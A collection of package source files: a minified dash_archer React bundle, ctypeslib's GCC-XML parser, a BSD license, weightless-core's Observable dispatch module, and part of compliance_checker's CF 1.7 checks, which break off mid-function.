function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&D(e,t)}(t,e),function(e,t,r){t&&A(e.prototype,t)}(t,[{key:"componentDidUpdate",value:function(e){a()(e.relations,this.props.relations)||this.registerTransitions(this.props.relations)}},{key:"componentDidMount",value:function(){0!==this.props.relations.length&&this.registerTransitions(this.props.relations)}},{key:"componentWillUnmount",value:function(){this.unregisterChild(),this.unregisterTransitions()}},{key:"render",value:function(){return o.a.createElement("div",{style:T({},this.props.style,{position:"relative"}),className:this.props.className,ref:this.onRefUpdate},this.props.children)}}]),t}(o.a.Component);L(W,"defaultProps",{relations:[]});var $=function(e){return o.a.createElement(k,null,(function(t){return o.a.createElement(W,P({},e,{context:t}))}))};r.d(t,"ArcherElement",(function(){return $})),r.d(t,"ArcherContainer",(function(){return S}))}])},function(e,t,r){"use strict";r.r(t);var n=r(1),o=r.n(n),i=r(0),a=r.n(i),s=r(2);function c(e){return(c="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function u(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function f(e,t){return!t||"object"!==c(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function l(e){return(l=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function p(e,t){return(p=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}var h=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),f(this,l(t).apply(this,arguments))}var r,n,i;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&p(e,t)}(t,e),r=t,(n=[{key:"render",value:function(){var e=this.props,t=e.arrowLength,r=e.arrowThickness,n=e.children,i=e.id,a=e.noCurves,c=e.offset,u=e.strokeColor,f=e.strokeDasharray,l=e.strokeWidth;return o.a.createElement(s.ArcherContainer,{arrowLength:t,arrowThickness:r,id:i,noCurves:a,offset:c,strokeColor:u,strokeDasharray:f,strokeWidth:l},n)}}])&&u(r.prototype,n),i&&u(r,i),t}(n.Component);function d(e){return(d="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function y(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function b(e,t){return!t||"object"!==d(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function v(e){return(v=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function m(e,t){return(m=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}h.defaultProps={},h.propTypes={arrowLength:a.a.number,arrowThickness:a.a.number,children:a.a.node,id:a.a.string,noCurves:a.a.bool,offset:a.a.number,strokeColor:a.a.string,strokeDasharray:a.a.string,strokeWidth:a.a.number};var g=function(e){function t(){return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t),b(this,v(t).apply(this,arguments))}var r,n,i;return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&m(e,t)}(t,e),r=t,(n=[{key:"render",value:function(){var e=this.props,t=e.children,r=e.id,n=e.relations;return o.a.createElement(s.ArcherElement,{id:r,relations:n},t)}}])&&y(r.prototype,n),i&&y(r,i),t}(n.Component);g.defaultProps={};var w={arrowLength:a.a.number,arrowThickness:a.a.number,noCurves:a.a.bool,strokeColor:a.a.string,strokeWidth:a.a.number,strokeDasharray:a.a.number},_={targetId:a.a.string,targetAnchor:a.a.oneOf(["top","bottom","left","right"]),sourceAnchor:a.a.oneOf(["top","bottom","left","right"]),label:a.a.node,style:a.a.shape(w)};g.propTypes={children:a.a.node,id:a.a.string,relations:a.a.arrayOf(a.a.shape(_))},r.d(t,"DashArcherContainer",(function(){return h})),r.d(t,"DashArcherElement",(function(){return g}))}]);
//# sourceMappingURL=dash_archer.min.js.map
|
PypiClean
|
/ctypeslib3-0.5.8.tar.gz/ctypeslib3-0.5.8/ctypeslib/codegen/gccxmlparser.py
|
try:
from xml.etree import cElementTree
except ImportError:
try:
import cElementTree
except ImportError:
cElementTree = None
if cElementTree:
base = object
else:
import xml.sax
base = xml.sax.ContentHandler
from . import typedesc
import sys
try:
set
except NameError:
from sets import Set as set
import re
################################################################
def MAKE_NAME(name):
name = name.replace("$", "DOLLAR")
name = name.replace(".", "DOT")
if name.startswith("__"):
return "_X" + name
elif name[0] in "01234567879":
return "_" + name
return name
WORDPAT = re.compile("^[a-zA-Z_][a-zA-Z0-9_]*$")
def CHECK_NAME(name):
if WORDPAT.match(name):
return name
return None
class GCCXML_Parser(base):
has_values = set(["Enumeration", "Function", "FunctionType",
"OperatorFunction", "Method", "Constructor",
"Destructor", "OperatorMethod"])
def __init__(self, *args):
base.__init__(self, *args)
self.context = []
self.all = {}
self.cpp_data = {}
if cElementTree:
def parse(self, xmlfile):
for event, node in cElementTree.iterparse(xmlfile, events=("start", "end")):
if event == "start":
self.startElement(node.tag, dict(list(node.items())))
else:
if node.text:
self.characters(node.text)
self.endElement(node.tag)
node.clear()
else:
def parse(self, xmlfile):
xml.sax.parse(xmlfile, self)
def startElement(self, name, attrs):
# find and call the handler for this element
mth = getattr(self, name)
result = mth(attrs)
if result is not None:
location = attrs.get("location", None)
if location is not None:
result.location = location
# record the result
_id = attrs.get("id", None)
# The '_id' attribute is used to link together all the
# nodes, in the _fixup_ methods.
if _id is not None:
self.all[_id] = result
else:
# EnumValue, for example, has no "_id" attribute.
# Invent our own...
self.all[id(result)] = result
# if this element has children, push onto the context
if name in self.has_values:
self.context.append(result)
cdata = None
def endElement(self, name):
# if this element has children, pop the context
if name in self.has_values:
self.context.pop()
self.cdata = None
################################
# do-nothing element handlers
def Class(self, attrs): pass
def Destructor(self, attrs): pass
cvs_revision = None
def GCC_XML(self, attrs):
rev = attrs["cvs_revision"]
self.cvs_revision = tuple(map(int, rev.split(".")))
def Namespace(self, attrs): pass
def Base(self, attrs): pass
def Ellipsis(self, attrs): pass
def OperatorMethod(self, attrs): pass
################################
# real element handlers
def CPP_DUMP(self, attrs):
name = attrs["name"]
# Insert a new list for each named section into self.cpp_data,
# and point self.cdata to it. self.cdata will be set to None
# again at the end of each section.
self.cpp_data[name] = self.cdata = []
def characters(self, content):
if self.cdata is not None:
self.cdata.append(content)
def File(self, attrs):
name = attrs["name"]
if sys.platform == "win32" and " " in name:
# On windows, convert to short filename if it contains blanks
from ctypes import windll, create_unicode_buffer, sizeof, WinError
buf = create_unicode_buffer(512)
if windll.kernel32.GetShortPathNameW(name, buf, sizeof(buf)):
name = buf.value
return typedesc.File(name)
def _fixup_File(self, f): pass
# simple types and modifiers
def Variable(self, attrs):
name = attrs["name"]
if name.startswith("cpp_sym_"):
# XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXx fix me!
name = name[len("cpp_sym_"):]
init = attrs.get("init", None)
typ = attrs["type"]
return typedesc.Variable(name, typ, init)
def _fixup_Variable(self, t):
t.typ = self.all[t.typ]
def Typedef(self, attrs):
name = attrs["name"]
typ = attrs["type"]
return typedesc.Typedef(name, typ)
def _fixup_Typedef(self, t):
t.typ = self.all[t.typ]
def FundamentalType(self, attrs):
name = attrs["name"]
if name == "void":
size = ""
else:
size = attrs["size"]
align = attrs["align"]
return typedesc.FundamentalType(name, size, align)
def _fixup_FundamentalType(self, t): pass
def PointerType(self, attrs):
typ = attrs["type"]
size = attrs["size"]
align = attrs["align"]
return typedesc.PointerType(typ, size, align)
def _fixup_PointerType(self, p):
p.typ = self.all[p.typ]
ReferenceType = PointerType
_fixup_ReferenceType = _fixup_PointerType
def ArrayType(self, attrs):
# type, min?, max?
typ = attrs["type"]
min = attrs["min"]
max = attrs["max"]
if max == "ffffffffffffffff":
max = "-1"
return typedesc.ArrayType(typ, min, max)
def _fixup_ArrayType(self, a):
a.typ = self.all[a.typ]
def CvQualifiedType(self, attrs):
# id, type, [const|volatile]
typ = attrs["type"]
const = attrs.get("const", None)
volatile = attrs.get("volatile", None)
return typedesc.CvQualifiedType(typ, const, volatile)
def _fixup_CvQualifiedType(self, c):
c.typ = self.all[c.typ]
# callables
def Function(self, attrs):
# name, returns, extern, attributes
name = attrs["name"]
returns = attrs["returns"]
attributes = attrs.get("attributes", "").split()
extern = attrs.get("extern")
return typedesc.Function(name, returns, attributes, extern)
def _fixup_Function(self, func):
func.returns = self.all[func.returns]
func.fixup_argtypes(self.all)
def FunctionType(self, attrs):
# id, returns, attributes
returns = attrs["returns"]
attributes = attrs.get("attributes", "").split()
return typedesc.FunctionType(returns, attributes)
def _fixup_FunctionType(self, func):
func.returns = self.all[func.returns]
func.fixup_argtypes(self.all)
def OperatorFunction(self, attrs):
# name, returns, extern, attributes
name = attrs["name"]
returns = attrs["returns"]
return typedesc.OperatorFunction(name, returns)
def _fixup_OperatorFunction(self, func):
func.returns = self.all[func.returns]
def _Ignored(self, attrs):
name = attrs.get("name", None)
if not name:
name = attrs["mangled"]
return typedesc.Ignored(name)
def _fixup_Ignored(self, const): pass
Constructor = Destructor = OperatorMethod = _Ignored
def Method(self, attrs):
# name, virtual, pure_virtual, returns
name = attrs["name"]
returns = attrs["returns"]
return typedesc.Method(name, returns)
def _fixup_Method(self, m):
m.returns = self.all[m.returns]
m.fixup_argtypes(self.all)
def Argument(self, attrs):
parent = self.context[-1]
if parent is not None:
parent.add_argument(typedesc.Argument(attrs["type"], attrs.get("name")))
# enumerations
def Enumeration(self, attrs):
# id, name
name = attrs["name"]
# If the name isn't a valid Python identifier, create an unnamed enum
name = CHECK_NAME(name)
size = attrs["size"]
align = attrs["align"]
return typedesc.Enumeration(name, size, align)
def _fixup_Enumeration(self, e): pass
def EnumValue(self, attrs):
name = attrs["name"]
value = attrs["init"]
v = typedesc.EnumValue(name, value, self.context[-1])
self.context[-1].add_value(v)
return v
def _fixup_EnumValue(self, e): pass
# structures, unions
def Struct(self, attrs):
# id, name, members
name = attrs.get("name")
if name is None:
name = MAKE_NAME(attrs["mangled"])
bases = attrs.get("bases", "").split()
members = attrs.get("members", "").split()
align = attrs["align"]
size = attrs.get("size")
return typedesc.Structure(name, align, members, bases, size)
def _fixup_Structure(self, s):
s.members = [self.all[m] for m in s.members]
s.bases = [self.all[b] for b in s.bases]
_fixup_Union = _fixup_Structure
def Union(self, attrs):
name = attrs.get("name")
if name is None:
name = MAKE_NAME(attrs["mangled"])
bases = attrs.get("bases", "").split()
members = attrs.get("members", "").split()
align = attrs["align"]
size = attrs.get("size")
return typedesc.Union(name, align, members, bases, size)
def Field(self, attrs):
# name, type
name = attrs["name"]
## if name.startswith("__") and not name.endswith("__"):
## print "INVALID FIELD NAME", name
typ = attrs["type"]
bits = attrs.get("bits", None)
offset = attrs.get("offset")
return typedesc.Field(name, typ, bits, offset)
def _fixup_Field(self, f):
f.typ = self.all[f.typ]
################
def _fixup_Macro(self, m):
pass
def get_macros(self, text):
if text is None:
return
text = "".join(text)
# preprocessor definitions that look like macros with one or more arguments
for m in text.splitlines():
name, body = m.split(None, 1)
name, args = name.split("(", 1)
args = "(%s" % args
self.all[name] = typedesc.Macro(name, args, body)
def get_aliases(self, text, namespace):
if text is None:
return
# preprocessor definitions that look like aliases:
# #define A B
text = "".join(text)
aliases = {}
for a in text.splitlines():
name, value = a.split(None, 1)
a = typedesc.Alias(name, value)
aliases[name] = a
self.all[name] = a
for name, a in list(aliases.items()):
value = a.alias
# the value should be either in namespace...
if value in namespace:
# set the type
a.typ = namespace[value]
# or in aliases...
elif value in aliases:
a.typ = aliases[value]
# or unknown.
else:
# not known
## print "skip %s = %s" % (name, value)
pass
def get_result(self):
interesting = (typedesc.Typedef, typedesc.Enumeration, typedesc.EnumValue,
typedesc.Function, typedesc.Structure, typedesc.Union,
typedesc.Variable, typedesc.Macro, typedesc.Alias)
import warnings
if self.cvs_revision is None:
warnings.warn("Could not determine CVS revision of GCCXML")
elif self.cvs_revision < (1, 114):
warnings.warn("CVS Revision of GCCXML is %d.%d" % self.cvs_revision)
self.get_macros(self.cpp_data.get("functions"))
remove = []
for n, i in list(self.all.items()):
location = getattr(i, "location", None)
if location:
fil, line = location.split(":")
i.location = self.all[fil].name, line
# link together all the nodes (the XML that gccxml generates uses this).
mth = getattr(self, "_fixup_" + type(i).__name__)
try:
mth(i)
except KeyError: # XXX better exception catching
remove.append(n)
for n in remove:
del self.all[n]
# Now we can build the namespace.
namespace = {}
for i in list(self.all.values()):
if not isinstance(i, interesting):
continue # we don't want these
name = getattr(i, "name", None)
if name is not None:
namespace[name] = i
self.get_aliases(self.cpp_data.get("aliases"), namespace)
result = []
for i in list(self.all.values()):
if isinstance(i, interesting):
result.append(i)
return result
################################################################
def parse(xmlfile):
# parse an XML file into a sequence of type descriptions
parser = GCCXML_Parser()
parser.parse(xmlfile)
return parser.get_result()
|
PypiClean
|
/meta-1.0.2.tar.gz/meta-1.0.2/license.rst
|
==================
License
==================
Copyright © 2011 Enthought Inc. All Rights Reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY [LICENSOR] "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
PypiClean
|
/weightless-core-0.9.4.tar.gz/weightless-core-0.9.4/weightless/core/_observable.py
|
from sys import exc_info
from traceback import format_exception
from functools import partial
from weightless.core import is_generator, DeclineMessage, cextension
if cextension:
from weightless.core.ext import AllGenerator
from collections import defaultdict
class NoneOfTheObserversRespond(Exception):
"""Must not be thrown anywhere outside of the Observable
implementation. It is exposed only so that it can be caught in
specific components, typically to be able to opt out of some
received message by raising DeclineMessage."""
def __init__(self, unansweredMessage, nrOfObservers):
Exception.__init__(self, 'None of the %d observers respond to %s(...)' % (nrOfObservers, unansweredMessage))
class Defer(defaultdict):
def __init__(self, observers, msgclass, observable):
__slots__ = ('_observers', '_msgclass', '_observable')
self._observers = observers
self._msgclass = msgclass
self._observable = observable
self._unknown_method_cache = {}
def __getattr__(self, attr):
msg = self._msgclass(self._observers, attr, observable=self._observable)
setattr(self, attr, msg)
return msg
def __missing__(self, target):
observers = [o for o in self._observers if hasattr(o, "observable_name") and o.observable_name() == target]
d = Defer(observers, self._msgclass, observable=self._observable)
self[target] = d
return d
def unknown(self, message, *args, **kwargs):
try:
method = self._unknown_method_cache[message]
except KeyError:
method = self._msgclass(self._observers, message, observable=self._observable)
self._unknown_method_cache[message] = method
try:
return method(*args, **kwargs)
except:
c, v, t = exc_info(); raise c, v, t.tb_next
def handleNonGeneratorGeneratorExceptions(method, clazz, value, traceback):
excStr = ''.join(format_exception(clazz, value, traceback))
raise AssertionError("Non-Generator %s should not have raised Generator-Exception:\n%s" % (methodOrMethodPartialStr(method), excStr))
class MessageBase(object):
def __init__(self, observers, message, observable):
self._observers = observers
self._message = message
self._observable = observable
self.findMethods(observers, message)
def findMethods(self, observers, msg):
methods = []
for o in observers:
try: method = getattr(o, msg)
except AttributeError:
try: method = partial(getattr(o, self.altname), msg)
except AttributeError: continue
methods.append(method)
self.methods = tuple(methods)
if cextension:
def all(self, *args, **kwargs):
return AllGenerator(self.methods, args, kwargs)
else:
def all(self, *args, **kwargs):
for method in self.methods:
try:
try:
result = method(*args, **kwargs)
except (StopIteration, GeneratorExit):
c, v, t = exc_info()
handleNonGeneratorGeneratorExceptions(method, c, v, t.tb_next)
if __debug__:
self.verifyMethodResult(method, result)
_ = yield result
except DeclineMessage:
continue
except:
c, v, t = exc_info(); raise c, v, t.tb_next
assert _ is None, "%s returned '%s'" % (methodOrMethodPartialStr(method), _)
def any(self, *args, **kwargs):
try:
for r in self.all(*args, **kwargs):
try:
result = yield r
raise StopIteration(result)
except DeclineMessage:
continue
except:
c, v, t = exc_info(); raise c, v, t.tb_next
raise NoneOfTheObserversRespond(
unansweredMessage=self._message,
nrOfObservers=len(list(self._observers)))
def verifyMethodResult(self, method, result):
assert is_generator(result), "%s should have resulted in a generator." % methodOrMethodPartialStr(method)
class AllMessage(MessageBase):
altname = 'all_unknown'
__call__ = MessageBase.all
class AnyMessage(MessageBase):
altname = 'any_unknown'
__call__ = MessageBase.any
class CallMessage(MessageBase):
altname = 'call_unknown'
def call(self, *args, **kwargs):
try:
return self.any(*args, **kwargs).next()
except:
c, v, t = exc_info(); raise c, v, t.tb_next
__call__ = call
def verifyMethodResult(self, method, result):
pass
class DoMessage(MessageBase):
altname = 'do_unknown'
def do(self, *args, **kwargs):
try:
for _ in self.all(*args, **kwargs):
pass
except:
c, v, t = exc_info(); raise c, v, t.tb_next
__call__ = do
def verifyMethodResult(self, method, result):
assert result is None, "%s returned '%s'" % (methodOrMethodPartialStr(method), result)
class OnceMessage(MessageBase):
def once(self, *args, **kwargs):
done = set()
return self._callonce(self._observers, args, kwargs, done)
__call__ = once
def _callonce(self, observers, args, kwargs, done):
for observer in (o for o in observers if o not in done):
done.add(observer)
try:
method = getattr(observer, self._message)
except AttributeError:
pass
else:
try:
try:
_ = methodResult = method(*args, **kwargs)
except (StopIteration, GeneratorExit):
c, v, t = exc_info()
handleNonGeneratorGeneratorExceptions(method, c, v, t.tb_next)
if is_generator(methodResult):
_ = yield methodResult
except:
c, v, t = exc_info(); raise c, v, t.tb_next
assert _ is None, "%s returned '%s'" % (methodOrMethodPartialStr(method), _)
if isinstance(observer, Observable):
try:
_ = yield self._callonce(observer._observers, args, kwargs, done)
except:
c, v, t = exc_info(); raise c, v, t.tb_next
assert _ is None, "OnceMessage of %s returned '%s', but must always be None" % (self._observable, _)
class Observable(object):
def __init__(self, name=None):
self._name = name
self._observers = []
self.init_defers()
def init_defers(self):
self.all = Defer(self._observers, AllMessage, observable=self)
self.any = Defer(self._observers, AnyMessage, observable=self)
self.do = Defer(self._observers, DoMessage, observable=self)
self.call = Defer(self._observers, CallMessage, observable=self)
self.once = Defer(self._observers, OnceMessage, observable=self)
def observers(self):
for observer in self._observers:
yield observer
def observable_name(self):
return self._name
def observable_setName(self, name):
self._name = name
return self
def addObserver(self, observer):
self._observers.append(observer)
self.init_defers()
def addStrand(self, strand, helicesDone):
for helix in strand:
self.addObserver(_beRecursive(helix, helicesDone))
def printTree(self, depth=0):
def printInColor(ident, color, text):
print ' '*ident, chr(27)+"[0;" + str(color) + "m", text, chr(27)+"[0m"
print ' ' * depth, self.__repr__()
for observer in self._observers:
if hasattr(observer, 'printTree'):
observer.printTree(depth=depth+1)
else:
printInColor(depth+1, 31, observer)
def __repr__(self):
return "%s(name=%s)" % (self.__class__.__name__, repr(self._name))
class Transparent(Observable):
def all_unknown(self, message, *args, **kwargs):
yield self.all.unknown(message, *args, **kwargs)
def any_unknown(self, message, *args, **kwargs):
try:
response = yield self.any.unknown(message, *args, **kwargs)
except NoneOfTheObserversRespond:
raise DeclineMessage
raise StopIteration(response)
def do_unknown(self, message, *args, **kwargs):
self.do.unknown(message, *args, **kwargs)
def call_unknown(self, message, *args, **kwargs):
try:
return self.call.unknown(message, *args, **kwargs)
except NoneOfTheObserversRespond:
raise DeclineMessage
def be(strand):
helicesDone = set()
return _beRecursive(strand, helicesDone)
def _beRecursive(helix, helicesDone):
if callable(helix):
helix = helix(helicesDone)
component = helix[0]
strand = helix[1:]
if not helix in helicesDone and strand:
component.addStrand(strand, helicesDone)
helicesDone.add(helix)
return component
def methodOrMethodPartialStr(f):
if type(f) == partial:
f = f.func
return str(f)
|
PypiClean
|
/compliance_checker-5.1.0-py3-none-any.whl/compliance_checker/cf/cf_1_7.py
|
import logging
import os
import sqlite3
from warnings import warn
import numpy as np
import pyproj
from compliance_checker import cfutil
from compliance_checker.base import BaseCheck, Result, TestCtx
from compliance_checker.cf.appendix_d import dimless_vertical_coordinates_1_7
from compliance_checker.cf.appendix_e import cell_methods17
from compliance_checker.cf.appendix_f import (
ellipsoid_names17,
grid_mapping_attr_types17,
grid_mapping_dict17,
horizontal_datum_names17,
prime_meridian_names17,
)
from compliance_checker.cf.cf_1_6 import CF1_6Check
from compliance_checker.cf.cf_base import appendix_a_base
logger = logging.getLogger(__name__)
class CF1_7Check(CF1_6Check):
"""Implementation for CF v1.7. Inherits from CF1_6Check as most of the
checks are the same."""
# things that are specific to 1.7
_cc_spec_version = "1.7"
_cc_url = "http://cfconventions.org/Data/cf-conventions/cf-conventions-1.7/cf-conventions.html"
appendix_a = appendix_a_base.copy()
appendix_a.update(
{
"actual_range": {
"Type": "N",
"attr_loc": {"D", "C"},
"cf_section": "2.5.1",
},
"comment": {
"Type": "S",
"attr_loc": {"G", "D", "C"},
"cf_section": "2.6.2",
},
"external_variables": {
"Type": "S",
"attr_loc": {"G"},
"cf_section": "2.6.3",
},
"scale_factor": {"Type": "N", "attr_loc": {"D", "C"}, "cf_section": "8.1"},
},
)
def __init__(self, options=None):
super().__init__(options)
self.cell_methods = cell_methods17
self.grid_mapping_dict = grid_mapping_dict17
self.grid_mapping_attr_types = grid_mapping_attr_types17
def check_external_variables(self, ds):
"""
The global external_variables attribute is a blank-separated list of the
names of variables which are named by attributes in the file but which
are not present in the file. These variables are to be found in other
files (called "external files") but CF does not provide conventions for
identifying the files concerned. The only attribute for which CF
standardises the use of external variables is cell_measures.
:param netCDF4.Dataset ds: An open netCDF dataset
:rtype: compliance_checker.base.Result
"""
external_vars_ctx = TestCtx(BaseCheck.MEDIUM, self.section_titles["2.6.3"])
# IMPLEMENTATION CONFORMANCE 2.6.3 REQUIRED 2/2
try:
external_var_names = set(ds.external_variables.strip().split())
bad_external_var_names = external_var_names.intersection(ds.variables)
if bad_external_var_names:
external_vars_ctx.out_of += 1
bad_msg = (
"Global attribute external_variables should not "
"have any variable names which are present in the dataset. "
"Currently, the following names appear in both external_variables "
f"and the dataset's variables: {bad_external_var_names}"
)
external_vars_ctx.messages.append(bad_msg)
# string/global attributes are handled in Appendix A checks
except (AttributeError, ValueError):
pass
return external_vars_ctx.to_result()
def check_actual_range(self, ds):
"""
Check the actual_range attribute of variables. As stated in
section 2.5.1 of version 1.7, this convention defines a two-element
vector attribute designed to describe the actual minimum and actual
maximum values of variables containing numeric data. Conditions:
- the fist value of the two-element vector must be equal to the
minimum of the data, and the second element equal to the maximum
- if the data is packed, the elements of actual_range should have
the same data type as the *unpacked* data
- if valid_range is specified, both elements of actual_range should
be within valid_range
If a variable does not have an actual_range attribute, let it pass;
including this attribute is only suggested. However, if the user is
specifying the actual_range, the Result will be considered
high-priority."""
ret_val = []
for name, variable in ds.variables.items():
msgs = []
score = 0
out_of = 0
if not hasattr(variable, "actual_range"):
continue # having this attr is only suggested, no Result needed
else:
out_of += 1
try:
if (
len(variable.actual_range) != 2
): # TODO is the attr also a numpy array? if so, .size
msgs.append(
f"actual_range of '{name}' must be 2 elements",
)
ret_val.append(
Result( # putting result into list
BaseCheck.HIGH,
(score, out_of),
self.section_titles["2.5"],
msgs,
),
)
continue # no need to keep checking if already completely wrong
else:
score += 1
except TypeError: # in case it's just a single number
msgs.append(f"actual_range of '{name}' must be 2 elements")
ret_val.append(
Result( # putting result into list
BaseCheck.HIGH,
(score, out_of),
self.section_titles["2.5"],
msgs,
),
)
continue
# check equality to existing min/max values
# NOTE this is a data check
# If every value is masked, a data check of actual_range isn't
# appropriate, so skip.
if not (hasattr(variable[:], "mask") and variable[:].mask.all()):
# if min/max values aren't close to actual_range bounds,
# fail.
out_of += 1
if not np.isclose(
variable.actual_range[0],
variable[:].min(),
) or not np.isclose(variable.actual_range[1], variable[:].max()):
msgs.append(
"actual_range elements of '{}' inconsistent with its min/max values".format(
name,
),
)
else:
score += 1
# check that the actual range is within the valid range
if hasattr(variable, "valid_range"): # check within valid_range
out_of += 1
if (variable.actual_range[0] < variable.valid_range[0]) or (
variable.actual_range[1] > variable.valid_range[1]
):
msgs.append(
'"{}"\'s actual_range must be within valid_range'.format(
name,
),
)
else:
score += 1
# check the elements of the actual range have the appropriate
# relationship to the valid_min and valid_max
if hasattr(variable, "valid_min"):
out_of += 1
if variable.actual_range[0] < variable.valid_min:
msgs.append(
'"{}"\'s actual_range first element must be >= valid_min ({})'.format(
name,
variable.valid_min,
),
)
else:
score += 1
if hasattr(variable, "valid_max"):
out_of += 1
if variable.actual_range[1] > variable.valid_max:
msgs.append(
'"{}"\'s actual_range second element must be <= valid_max ({})'.format(
name,
variable.valid_max,
),
)
else:
score += 1
ret_val.append(
Result( # putting result into list
BaseCheck.HIGH,
(score, out_of),
self.section_titles["2.5"],
msgs,
),
)
return ret_val
def check_cell_boundaries(self, ds):
"""
Checks the dimensions of cell boundary variables to ensure they are CF compliant
per section 7.1.
This method extends the CF1_6Check method; please see the original method for the
complete doc string.
If any variable contains both a formula_terms attribute *and* a bounding variable,
that bounds variable must also have a formula_terms attribute.
:param netCDF4.Dataset ds: An open netCDF dataset
:returns list: List of results
"""
# Note that test does not check monotonicity
ret_val = []
reasoning = []
for variable_name, boundary_variable_name in cfutil.get_cell_boundary_map(
ds,
).items():
variable = ds.variables[variable_name]
valid = True
reasoning = []
# 7.1 Required 1/5:
# The type of the bounds attribute is a string whose value is a single variable name.
# The specified variable must exist in the file.
if boundary_variable_name not in ds.variables:
valid = False
reasoning.append(
"Boundary variable {} referenced by {} not ".format(
boundary_variable_name,
variable.name,
)
+ "found in dataset variables",
)
else:
boundary_variable = ds.variables[boundary_variable_name]
# 7.1 Required 2/5:
# The number of dimensions in the bounds variable should always be
# the number of dimensions in the referring variable + 1
if boundary_variable.ndim < 2:
valid = False
reasoning.append(
"Boundary variable {} specified by {}".format(
boundary_variable.name,
variable.name,
)
+ " should have at least two dimensions to enclose the base "
+ "case of a one dimensionsal variable",
)
if boundary_variable.ndim != variable.ndim + 1:
valid = False
reasoning.append(
"The number of dimensions of the variable {} is {}, but the "
"number of dimensions of the boundary variable {} is {}. The boundary variable "
"should have {} dimensions".format(
variable.name,
variable.ndim,
boundary_variable.name,
boundary_variable.ndim,
variable.ndim + 1,
),
)
if variable.dimensions[:] != boundary_variable.dimensions[: variable.ndim]:
valid = False
reasoning.append(
"Boundary variable coordinates (for {}) are in improper order: {}. Bounds-specific dimensions should be last"
"".format(variable.name, boundary_variable.dimensions),
)
# 7.1 Required 2/5: continue
# Ensure p vertices form a valid simplex given previous a...n
# previous auxiliary coordinates
if (
ds.dimensions[boundary_variable.dimensions[-1]].size
< len(boundary_variable.dimensions[:-1]) + 1
):
valid = False
reasoning.append(
"Dimension {} of boundary variable (for {}) must have at least {} elements to form a simplex/closed cell with previous dimensions {}.".format(
boundary_variable.name,
variable.name,
len(variable.dimensions) + 1,
boundary_variable.dimensions[:-1],
),
)
# 7.1 Required 3/5:
# A boundary variable must be a numeric data type
if boundary_variable.dtype.kind not in "biufc":
valid = False
reasoning.append(
"Boundary variable {} specified by {}".format(
boundary_variable.name,
variable.name,
)
+ "must be a numeric data type ",
)
# 7.1 Required 4/5:
# If a boundary variable has units, standard_name, axis, positive, calendar, leap_month,
# leap_year or month_lengths attributes, they must agree with those of its associated variable.
if boundary_variable.__dict__.keys():
for item in boundary_variable.__dict__.keys():
if hasattr(variable, item):
if getattr(variable, item) != getattr(boundary_variable, item):
valid = False
reasoning.append(
"'{}' has attr '{}' with value '{}' that does not agree "
"with its associated variable ('{}')'s attr value '{}'"
"".format(
boundary_variable_name,
item,
getattr(boundary_variable, item),
variable.name,
getattr(variable, item),
),
)
# 7.1 Required 5/5:
# check if formula_terms is present in the var; if so,
# the bounds variable must also have a formula_terms attr
if hasattr(variable, "formula_terms"):
if not hasattr(boundary_variable, "formula_terms"):
valid = False
reasoning.append(
"'{}' has 'formula_terms' attr, bounds variable '{}' must also have 'formula_terms'".format(
variable_name,
boundary_variable_name,
),
)
# 7.1 Recommendations 2/2
# Boundary variables should not have the _FillValue, missing_value, units, standard_name, axis,
# positive, calendar, leap_month, leap_year or month_lengths attributes.
attributes_to_check = {
"_FillValue",
"missing_value",
"units",
"standard_name",
